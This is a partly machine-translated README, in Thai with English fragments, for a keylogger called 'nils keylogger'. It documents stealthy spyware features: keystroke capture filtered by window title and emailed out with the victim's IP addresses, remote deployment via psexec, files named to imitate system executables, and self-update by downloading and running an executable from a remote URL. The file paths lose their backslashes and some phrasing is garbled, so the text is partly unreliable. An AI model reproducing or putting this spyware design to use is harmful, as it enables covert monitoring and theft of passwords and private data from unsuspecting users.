nils keylogger

ไม่มี-keylogger

บันทึกการกดแป้นพิมพ์ที่พิมพ์ใต้ชื่อหน้าต่างเฉพาะและส่งไปทางอีเมล

คุณสมบัติ

• สามารถทำงานภายใต้บัญชีผู้ใช้ที่ได้รับสิทธิพิเศษแบบจำกัด
• สามารถปรับใช้บนเครื่องระยะไกลโดยใช้ psexec
• สามารถอัปเดต/แก้ไขตัวเองตามผู้เช่าได้ ใช้ URL ที่อัปเดต - https://sites.google.com/site/nilsklg/<TenantID>.txt

คีย์ล็อกเกอร์

• ตำแหน่ง %ProgramData%Systemexplorer.exe
• ถ้า sendTo = "none" แสดงว่าอีเมลจะไม่ถูกส่ง

โปรแกรมติดตั้ง 7-Zip SFX

• config.txt ที่ตั้งโปรแกรมได้พร้อมตัวเลือกบรรทัดคำสั่ง -ai0, -ai1 เป็นต้น

ส่งจดหมาย/อัปเดต

• ตำแหน่ง %ProgramData%Systemwininit.exe
• ส่งอีเมลที่มีคีย์ล็อกที่บันทึกไว้ในเนื้อความในการเข้าสู่ระบบแต่ละครั้ง
• รวมถึง IP ส่วนตัว IP สาธารณะในอีเมล
• หาก PubIPURL="none" แสดงว่า PublicIP จะไม่ถูกส่ง
• คุณสมบัติการอัปเดตอัตโนมัติ / แพทช์ -
  • สร้างไฟล์ชื่อ "https://sites.google.com/site/nilsklg/" & TenantID & ".txt" NewVersion,"URL to Update.exe"
  • โปรแกรมจะตรวจสอบว่ามีเวอร์ชันใหม่หรือไม่และเรียกใช้ Update.exe
  • หากชื่อไฟล์ใน URL ลงท้ายด้วย - มันจะทำงานในฐานะผู้ดูแลระบบและผู้ใช้แบบจำกัด

กำหนดค่าไฟล์

• ใช้ตัวแปรสภาพแวดล้อม %ProgramData% สำหรับตำแหน่ง
• เส้นทางไดเรกทอรีไฟล์บันทึก u: in จะถูกแทนที่ด้วย %USERPROFILE%

titles.txt

 Location : %ProgramData%Systemtitles.txt
Content  : One window title per line, can be any number of titles

การตั้งค่า.txt

 Location : %ProgramData%Systemsettings.txt
Content  : LogDir, TenantID, sendTo, sendFrom, Sender Password, RetryTime, PubIPURL

Keylogfile

 Location       : LogDir in settings.txt or default C:UsersPublicLibrariesNLogs
Content(Line1) : Chr(155), Time, Date, TenantID, App.Revision